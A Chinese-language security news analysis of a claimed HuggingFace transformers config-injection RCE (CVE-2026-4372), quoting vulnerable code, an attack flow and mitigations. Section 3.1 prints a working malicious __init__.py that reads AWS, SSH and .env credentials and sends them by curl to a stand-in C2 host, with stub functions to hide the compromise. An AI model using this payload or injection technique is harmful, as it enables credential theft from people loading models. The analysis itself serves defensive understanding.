1. 簡介

人工智慧(Artificial Intelligence, AI)與機器學習(Machine Learning, ML)模型的廣泛採用,徹底改變了軟體開發與資料處理的方式。像是 HuggingFace Hub 這樣的平台,扮演著集中式儲存庫的角色,讓研究人員與開發者能夠輕鬆地分享與下載預先訓練好的模型。作為此生態系核心的 transformers 函式庫,將模型部署簡化為一行程式碼: AutoModelForCausalLM.from_pretrained("model-name") 。然而,這種便利性也帶來了重大的安全性挑戰,尤其是在模型載入過程中執行未受信任程式碼的風險 [1]

一個 config injection 如何讓 HuggingFace 整個供應鏈失控?Hub Kernel 成破口! | 資訊安全新聞

1. 簡介

這份報告針對在 HuggingFace transformers 函式庫中發現的一個重大遠端程式碼執行(RCE)漏洞(編號 CVE-2026-4372),提供深入的技術分析。此漏洞允許未經驗證的攻擊者,僅需讓受害者載入一個惡意建構的模型設定檔案( config.json ),就能在受害者的機器上執行任意程式碼。關鍵在於,此攻擊手法繞過了 trust_remote_code=False 既有的安全邊界,並且在沒有任何警告或提示的情況下靜默執行 [1] 。我們將探討此 config injection 的底層機制,分析有漏洞的程式碼路徑,並討論此事件對 AI 供應鏈安全的廣泛影響,同時也將對照在生態系中觀察到的其他序列化漏洞 [2] [3]

2. 漏洞分析:三個缺陷的交會點

CVE-2026-4372 漏洞並非單一且孤立的錯誤,而是 transformers 函式庫中三個不同設計缺陷的巧妙且具毀滅性的結合。當這些缺陷結合在一起時,就形成了一個完整的遠端程式碼執行攻擊鏈 [1]

2.1 缺陷一:未經過濾的 Config 反序列化

攻擊的出發點在 configuration_utils.py 中,函式庫在此處會反序列化從 HuggingFace Hub 下載的 config.json 檔案。設定的建構子會使用一個通用迴圈來處理 JSON 檔案中的 key-value 配對,並透過 setattr 函式將它們直接套用到設定物件上 [1]

  1. # configuration_utils.py, line 265
  2. for key, value in kwargs.items():
  3. try:
  4. setattr(self, key, value)
  5. except AttributeError as err:
  6. logger.error(f"Can't set {key} with value {value} for {self}")
  7. raise err

程式碼分析: 這段程式碼展示了一個典型的反序列化反面模式。它將未受信任的輸入(由任何使用者建立的 JSON 檔案)視為受信任的內部狀態。這裡沒有允許清單或驗證機制來區分標準的設定參數(例如 vocab_size )與控制安全敏感行為的私有內部屬性。每個 key-value 配對都會被盲目地覆寫到物件上 [1]

2.2 缺陷二:過濾機制的漏洞與底線開頭屬性

在 Python 中,以底線(underscore)開頭的屬性,依慣例被視為私有的,且僅供內部使用。研究人員發現了一個特定的內部屬性 _attn_implementation_internal ,它負責控制注意力機制的實作(例如 Flash Attention, SDPA)。雖然開發人員針對公開的 attn_implementation 屬性實作了過濾機制,但在讀取路徑中卻沒有過濾底線開頭的內部屬性 [1]

  1. # from_dict() sanitizes the public-facing field, replacing it with the caller's value
  2. # configuration_utils.py, line 711
  3. config_dict["attn_implementation"] = kwargs.pop("attn_implementation", None)

程式碼分析: from_dict() 函式嘗試透過 pop 出公開的 attn_implementation key 來過濾輸入。然而,由於通用的 setattr 迴圈(缺陷一)會處理所有的 key,攻擊者只需直接在 config.json 中定義 _attn_implementation_internal 即可。過濾邏輯完全忽略了這個內部屬性,讓「後門」大開 [1]

2.3 缺陷三:透過 Hub Kernels 進行無沙箱保護的遠端程式碼執行

這個 puzzle 的最後一塊拼圖在於 transformers 4.50.0 版引入的 "Hub Kernels" 功能。此功能允許函式庫從 HuggingFace Hub 下載並執行使用者自訂的、已編譯的 attention kernel。漏洞的產生點在於函式庫驗證 kernel 儲存庫 ID 的方式 [1]

  1. # hub_kernels.py, line 285
  2. def is_kernel(attn_implementation: str | None) -> bool:
  3. return (
  4. attn_implementation is not None
  5. and re.search(r"^[^/:]+/[^/:]+(?:@[^/:]+)?(?::[^/:]+)?$", attn_implementation) is not None
  6. )

程式碼分析: is_kernel() 函式使用了一個極度寬鬆的 regular expression ( ^[^/:]+/[^/:]+$ ) 來驗證 attn_implementation 字串。任何符合 owner/repo 格式的字串都會通過此檢查。一旦驗證通過,函式庫就會委派給 get_kernel_hub() ,後者會從 Hub 下載對應的 Python 套件,並透過 importlib 將其匯入,過程中完全沒有安全檢查、沙箱隔離或完整性驗證 [1] 。因此,將 _attn_implementation_internal 設定為一個受攻擊者控制的儲存庫 ID,就把一個設定值直接轉變成了程式碼執行的功能。

3. 攻擊執行流程

此攻擊利用上述缺陷來達成靜默的遠端程式碼執行。下方的順序圖說明了攻擊的生命週期。

sequenceDiagram participant Victim as Victim Machine participant HF_Hub as HuggingFace Hub participant Attacker_Repo as Attacker Kernel Repo participant C2 as Attacker C2 Server Victim->>HF_Hub: AutoModelForCausalLM.from_pretrained("malicious-model") HF_Hub-->>Victim: Returns config.json (contains _attn_implementation_internal: "attacker/repo") Note over Victim: configuration_utils.py
setattr() loop injects
_attn_implementation_internal Victim->>Victim: is_kernel("attacker/repo") returns True Victim->>Attacker_Repo: get_kernel_hub() downloads package Attacker_Repo-->>Victim: Returns malicious Python package Note over Victim: importlib imports package
__init__.py executes automatically Victim->>Victim: Payload extracts credentials (~/.aws, ~/.ssh, .env) Victim->>C2: Exfiltrates data via HTTPS POST Note over Victim: Model loading completes normally
using stub functions. No warnings.

3.1 惡意 Payload

為了執行攻擊,Threat actor 會建立一個 kernel 儲存庫,裡面包含一個惡意的 __init__.py 檔案。這個檔案在受害者的機器上被匯入時會自動執行 [1]

  1. # __init__.py - uploaded to HuggingFace Hub
  2. import os, subprocess, datetime
  3. # Phase 1: Credential exfiltration
  4. for target in ["~/.aws/credentials", "~/.ssh/id_rsa", "~/.env"]:
  5. full_path = os.path.expanduser(target)
  6. if os.path.exists(full_path):
  7. with open(full_path) as f:
  8. # Read sensitive data
  9. data = f.read()
  10. # Phase 2: Outbound network access
  11. # In a real attack: POST stolen creds to attacker-controlled server
  12. result = subprocess.run(
  13. ["curl", "-s", "https://attacker-c2.com/exfiltrate", "-d", data],
  14. capture_output=True, text=True, timeout=10
  15. )
  16. # Stub functions so model loading completes without errors
  17. def flash_attn_func(*args, **kwargs):
  18. raise NotImplementedError
  19. def flash_attn_varlen_func(*args, **kwargs):
  20. raise NotImplementedError

程式碼分析: 這個 payload 是為了隱密性而設計的。它首先針對存放敏感登入認證的常見位置(AWS keys, SSH keys, 環境變數檔案)。接著,它使用標準的系統工具(例如透過 subprocess 呼叫 curl )將竊取到的資料外洩到 Command and Control(C2)伺服器。關鍵在於,此 script 包含了 stub 函式( flash_attn_func ),用來模仿正常 attention kernel 的預期行為。這確保了模型載入過程能夠順利完成而不會拋出例外,讓受害者在完全不知情的情況下被入侵 [1]

4. 更廣泛的背景:AI 供應鏈漏洞

CVE-2026-4372 漏洞突顯了 AI 開發生態系中的一個系統性問題:對複雜的序列化資料格式與設定檔案存在著隱含的信任。這並非單一事件。類似的漏洞也曾在 ML 領域中常用的其他序列化機制中被觀察到。

例如,廣泛用於序列化 PyTorch 模型的 Python pickle 模組,本質上就是不安全的,因為它允許在反序列化期間執行任意程式碼 [2] 。攻擊者已經開發出新技術,例如 "nullifAI" 攻擊,來繞過像是 HuggingFace Picklescan 這樣的安全掃描器。透過將惡意 payload 嵌入到使用 7z 格式(而非標準 ZIP 格式)壓縮的損壞 Pickle 檔案中,攻擊者可以避開依賴危險函式黑名單或無法正確解析格式錯誤存檔的偵測機制 [2] 。此外,Picklescan 本身的漏洞(例如 CVE-2025-1716, CVE-2025-1944)也證明了僅依賴靜態分析工具是不夠的,因為攻擊者可以操縱檔案的 metadata 或 ZIP 結構來隱藏惡意內容 [3]

這些例子,加上 transformers 中的 config injection 漏洞,都強調了在整個 AI 供應鏈中,迫切需要健全的驗證機制、沙箱執行環境,以及轉向更安全的序列化格式(例如 safetensors)。

5. 結論與緩解措施

HuggingFace Transformers 中的未經驗證 RCE 漏洞 (CVE-2026-4372) 展示了將未過濾的反序列化與無沙箱保護的遠端程式碼執行能力結合在一起所造成的嚴重後果。透過利用過濾機制的漏洞,並將惡意的儲存庫 ID 注入到內部設定屬性中,攻擊者可以實現靜默且完整的系統入侵,繞過像是 trust_remote_code=False 這樣的預期安全邊界 [1]

為了緩解此特定威脅,使用者必須立即將其 transformers 函式庫升級到 5.3.0 或更高版本,該版本已修復有漏洞的程式碼路徑。更廣泛地說,AI 社群必須採用更嚴格的安全實務,包括對所有設定檔案進行嚴格的輸入驗證、為外部程式碼實作沙箱執行環境,以及逐步淘汰本質上不安全的序列化格式 [2] [3] 。隨著 AI 模型越來越深入地整合到關鍵基礎設施中,保護其分發與載入的機制就變得至關重要。